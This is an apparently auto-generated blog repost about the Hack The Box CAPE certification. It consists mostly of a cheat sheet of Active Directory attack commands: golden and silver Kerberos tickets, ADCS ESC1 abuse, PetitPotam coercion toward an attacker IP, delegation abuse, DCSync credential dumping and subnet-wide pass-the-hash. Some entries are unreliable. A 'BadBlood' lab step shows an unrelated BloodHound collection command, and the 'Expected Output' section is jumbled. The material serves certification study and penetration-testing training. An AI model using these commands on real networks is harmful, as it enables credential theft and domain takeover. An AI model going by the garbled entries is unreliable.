Listen to this Post
Hack The Box’s Certified Active Directory Penetration Expert (CAPE) is one of the most challenging cybersecurity certifications, testing advanced Active Directory (AD) exploitation techniques. Gabriel Madelaine-Toublanc, the 15th person globally to achieve this certification, shares his journey—highlighting its intensity, depth, and the lessons learned.
You Should Know:
1. CAPE Exam Overview
- Duration: 10-day exam window.
- Scope: Advanced AD attacks (Kerberos, ADCS, Delegations, etc.).
- Difficulty: Far surpasses CWEE (Certified Web Exploitation Expert).
2. Key AD Exploitation Techniques
Here are critical commands and methodologies tested in CAPE:
Kerberos Attacks
- Golden Ticket Attack:
mimikatz kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:hash /ptt
- Silver Ticket Attack:
mimikatz kerberos::golden /user:ServiceAccount /domain:corp.local /sid:S-1-5-21-... /target:DC01.corp.local /service:HTTP /rc4:hash /ptt
Active Directory Certificate Services (ADCS) Exploits
- ESC1 (Misconfigured Template):
Certify.exe request /ca:CA01.corp.local /template:VulnerableTemplate /altname:Administrator
- PetitPotam (NTLM Relay to ADCS):
python3 PetitPotam.py -d corp.local -u user -p pass attacker-ip dc-ip
Delegation Attacks
- Unconstrained Delegation:
Get-NetComputer -Unconstrained | Select-Object Name
- Constrained Delegation Exploitation:
getST.py -spn HTTP/victim.corp.local -impersonate Administrator corp.local/user:password
3. Lab Setup for Practice
- Automated AD Lab (Using BadBlood):
Invoke-BloodHound -CollectionMethod All -Domain corp.local -ZipFileName BH_data.zip
- Manual DC Deployment:
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools Install-ADDSForest -DomainName "corp.local"
4. Post-Exploitation & Lateral Movement
- DCSync Attack:
mimikatz lsadump::dcsync /domain:corp.local /user:Administrator
- Pass-the-Hash (PTH):
crackmapexec smb 10.10.10.0/24 -u Administrator -H NTLM_HASH --local-auth
What Undercode Say:
The CAPE certification is a masterclass in AD penetration testing, requiring deep knowledge of Kerberos, ADCS, and delegation attacks. Gabriel’s experience highlights the importance of humility, persistence, and structured learning.
For hands-on practice:
- HTB Active Directory Machines (e.g., Forest, Sauna)
- TryHackMe AD Learning Path
- Offensive Security PEN-300 (AD Focus)
Expected Output:
Example: Enumerating Kerberos Tickets klist View cached tickets Invoke-Mimikatz -Command '"kerberos::list"' Dump all tickets
Further Reading:
This structured guide ensures actionable insights for aspiring CAPE candidates. Keep attacking! 🚀
References:
Reported By: Activity 7315429510055698432 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
